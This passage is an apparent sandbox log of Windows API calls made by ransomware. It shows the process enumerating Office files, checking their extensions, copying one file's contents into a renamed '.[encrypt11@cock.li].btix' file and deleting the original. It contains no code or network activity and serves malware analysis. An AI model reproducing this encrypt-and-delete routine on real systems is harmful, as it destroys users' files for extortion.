[0134.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.959] lstrlenW (lpString=".jpg") returned 4 [0134.959] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0134.959] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0134.959] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0134.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.960] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=75776) returned 1 [0134.960] CloseHandle (hObject=0x550) returned 1 [0134.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe")) returned 0x20 [0134.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.961] lstrlenW (lpString=".doc") returned 4 [0134.961] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0134.961] lstrlenW (lpString=".docx") returned 5 [0134.961] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0134.961] lstrlenW (lpString=".pdf") returned 4 [0134.961] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0134.961] lstrlenW (lpString=".xls") returned 4 [0134.961] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0134.961] lstrlenW (lpString=".xlsx") returned 5 [0134.961] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0134.961] lstrlenW (lpString=".ppt") returned 4 [0134.961] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0134.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.961] lstrlenW (lpString=".zip") returned 4 [0134.961] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0134.961] lstrlenW (lpString=".rar") returned 4 [0134.961] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0134.961] lstrlenW (lpString=".bz2") returned 4 [0134.961] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0134.961] lstrlenW (lpString=".7z") returned 3 [0134.961] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0134.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.961] lstrlenW (lpString=".dbf") returned 4 [0134.961] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0134.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.962] lstrlenW (lpString=".1cd") returned 4 [0134.962] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0134.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.962] lstrlenW (lpString=".jpg") returned 4 [0134.962] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0134.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.962] lstrlenW (lpString=".doc") returned 4 [0134.962] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0134.962] lstrlenW (lpString=".docx") returned 5 [0134.962] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0134.962] lstrlenW (lpString=".pdf") returned 4 [0134.962] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0134.962] lstrlenW (lpString=".xls") returned 4 [0134.962] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0134.962] lstrlenW (lpString=".xlsx") returned 5 [0134.962] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0134.962] lstrlenW (lpString=".ppt") returned 4 [0134.962] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0134.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.962] lstrlenW (lpString=".zip") returned 4 [0134.962] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0134.962] lstrlenW (lpString=".rar") returned 4 [0134.962] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0134.962] lstrlenW (lpString=".bz2") returned 4 [0134.962] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0134.962] lstrlenW (lpString=".7z") returned 3 [0134.962] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0134.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.962] lstrlenW (lpString=".dbf") returned 4 [0134.962] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0134.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.962] lstrlenW (lpString=".1cd") returned 4 [0134.962] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0134.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0134.963] lstrlenW (lpString=".jpg") returned 4 [0134.963] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0134.963] lstrcmpiW (lpString1=".EXE", lpString2=".btix") returned 1 [0134.963] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0134.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.965] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=27200) returned 1 [0134.965] CloseHandle (hObject=0x550) returned 1 [0134.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0134.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.965] lstrlenW (lpString=".doc") returned 4 [0134.965] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0134.965] lstrlenW (lpString=".docx") returned 5 [0134.965] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0134.966] lstrlenW (lpString=".pdf") returned 4 [0134.966] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0134.966] lstrlenW (lpString=".xls") returned 4 [0134.966] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0134.966] lstrlenW (lpString=".xlsx") returned 5 [0134.966] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0134.966] lstrlenW (lpString=".ppt") returned 4 [0134.966] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.966] lstrlenW (lpString=".zip") returned 4 [0134.966] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0134.966] lstrlenW (lpString=".rar") returned 4 [0134.966] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0134.966] lstrlenW (lpString=".bz2") returned 4 [0134.966] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0134.966] lstrlenW (lpString=".7z") returned 3 [0134.966] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.966] lstrlenW (lpString=".dbf") returned 4 [0134.966] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.966] lstrlenW (lpString=".1cd") returned 4 [0134.966] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0134.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.966] lstrlenW (lpString=".jpg") returned 4 [0134.966] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.967] lstrlenW (lpString=".doc") returned 4 [0134.967] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0134.967] lstrlenW (lpString=".docx") returned 5 [0134.967] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0134.967] lstrlenW (lpString=".pdf") returned 4 [0134.967] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0134.967] lstrlenW (lpString=".xls") returned 4 [0134.967] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0134.967] lstrlenW (lpString=".xlsx") returned 5 [0134.967] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0134.967] lstrlenW (lpString=".ppt") returned 4 [0134.967] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.967] lstrlenW (lpString=".zip") returned 4 [0134.967] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0134.967] lstrlenW (lpString=".rar") returned 4 [0134.967] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0134.967] lstrlenW (lpString=".bz2") returned 4 [0134.967] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0134.967] lstrlenW (lpString=".7z") returned 3 [0134.967] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.967] lstrlenW (lpString=".dbf") returned 4 [0134.967] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.967] lstrlenW (lpString=".1cd") returned 4 [0134.967] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0134.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0134.967] lstrlenW (lpString=".jpg") returned 4 [0134.967] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0134.968] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0134.968] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0134.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.970] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18624) returned 1 [0134.970] CloseHandle (hObject=0x550) returned 1 [0134.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0134.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.971] lstrlenW (lpString=".doc") returned 4 [0134.971] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.971] lstrlenW (lpString=".docx") returned 5 [0134.971] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0134.971] lstrlenW (lpString=".pdf") returned 4 [0134.971] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.971] lstrlenW (lpString=".xls") returned 4 [0134.971] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.971] lstrlenW (lpString=".xlsx") returned 5 [0134.971] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0134.971] lstrlenW (lpString=".ppt") returned 4 [0134.971] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.971] lstrlenW (lpString=".zip") returned 4 [0134.971] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.971] lstrlenW (lpString=".rar") returned 4 [0134.971] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.971] lstrlenW (lpString=".bz2") returned 4 [0134.971] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.971] lstrlenW (lpString=".7z") returned 3 [0134.971] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.971] lstrlenW (lpString=".dbf") returned 4 [0134.971] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.971] lstrlenW (lpString=".1cd") returned 4 [0134.971] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.971] lstrlenW (lpString=".jpg") returned 4 [0134.971] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.972] lstrlenW (lpString=".doc") returned 4 [0134.972] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.972] lstrlenW (lpString=".docx") returned 5 [0134.972] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0134.972] lstrlenW (lpString=".pdf") returned 4 [0134.972] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.972] lstrlenW (lpString=".xls") returned 4 [0134.972] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.972] lstrlenW (lpString=".xlsx") returned 5 [0134.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0134.972] lstrlenW (lpString=".ppt") returned 4 [0134.972] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.972] lstrlenW (lpString=".zip") returned 4 [0134.972] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.972] lstrlenW (lpString=".rar") returned 4 [0134.972] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.972] lstrlenW (lpString=".bz2") returned 4 [0134.972] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.972] lstrlenW (lpString=".7z") returned 3 [0134.972] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.972] lstrlenW (lpString=".dbf") returned 4 [0134.972] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.972] lstrlenW (lpString=".1cd") returned 4 [0134.972] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0134.972] lstrlenW (lpString=".jpg") returned 4 [0134.972] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.972] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0134.973] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0134.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0135.276] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=18624) returned 1 [0135.276] CloseHandle (hObject=0x534) returned 1 [0135.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0135.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0135.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0135.276] lstrlenW (lpString=".doc") returned 4 [0135.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.276] lstrlenW (lpString=".docx") returned 5 [0135.276] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.276] lstrlenW (lpString=".pdf") returned 4 [0135.276] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.276] lstrlenW (lpString=".xls") returned 4 [0135.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.276] lstrlenW (lpString=".xlsx") returned 5 [0135.276] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.276] lstrlenW (lpString=".ppt") returned 4 [0135.276] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0135.276] lstrlenW (lpString=".zip") returned 4 [0135.276] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.276] lstrlenW (lpString=".rar") returned 4 [0135.276] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.276] lstrlenW (lpString=".bz2") returned 4 [0135.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.277] lstrlenW (lpString=".7z") returned 3 [0135.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0135.277] lstrlenW (lpString=".dbf") returned 4 [0135.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.485] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9322) returned 1 [0135.485] CloseHandle (hObject=0x4c0) returned 1 [0135.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0135.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0135.489] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.489] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0135.490] GetLastError () returned 0x0 [0135.490] ReadFile (in: hFile=0x4c0, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x246a, lpOverlapped=0x0) returned 1 [0135.497] WriteFile (in: hFile=0x530, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2470, lpOverlapped=0x0) returned 1 [0135.498] ReadFile (in: hFile=0x4c0, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.499] WriteFile (in: hFile=0x530, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.499] SetEndOfFile (hFile=0x530) returned 1 [0135.499] CloseHandle (hObject=0x530) returned 1 [0135.499] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.499] SetEndOfFile (hFile=0x4c0) returned 1 [0135.502] CloseHandle (hObject=0x4c0) returned 1 [0135.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0135.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.503] lstrlenW (lpString=".doc") returned 4 [0135.503] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.503] lstrlenW (lpString=".docx") returned 5 [0135.503] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.503] lstrlenW (lpString=".pdf") returned 4 [0135.503] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.503] lstrlenW (lpString=".xls") returned 4 [0135.503] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.503] lstrlenW (lpString=".xlsx") returned 5 [0135.503] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.503] lstrlenW (lpString=".ppt") returned 4 [0135.504] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.504] lstrlenW (lpString=".zip") returned 4 [0135.504] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.504] lstrlenW (lpString=".rar") returned 4 [0135.504] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.504] lstrlenW (lpString=".bz2") returned 4 [0135.504] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.504] lstrlenW (lpString=".7z") returned 3 [0135.504] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.504] lstrlenW (lpString=".dbf") returned 4 [0135.504] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.504] lstrlenW (lpString=".1cd") returned 4 [0135.504] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.504] lstrlenW (lpString=".jpg") returned 4 [0135.504] lstrcmpiW 